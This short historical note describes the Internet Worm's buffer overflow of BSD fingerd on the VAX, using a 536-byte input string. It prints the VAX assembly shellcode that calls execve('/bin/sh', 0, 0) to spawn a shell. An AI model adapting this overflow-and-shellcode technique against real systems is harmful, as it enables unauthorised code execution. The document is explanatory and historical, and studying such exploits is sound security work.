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BSD fingerd buffer overflow Vulnerability

The Internet Worm used a string of 536 bytes to
overflow the input buffer of fingerd on the VAX. The
VAX machine code it used was:

pushl $68732f 'sh\0'
pushl $6e69622f '/bin'
movl sp, r10
pushl $0
pushl $0
pushl r10
pushl $3
movl sp, ap
chmk $3b

This code executed execve("/bin/sh", 0, 0).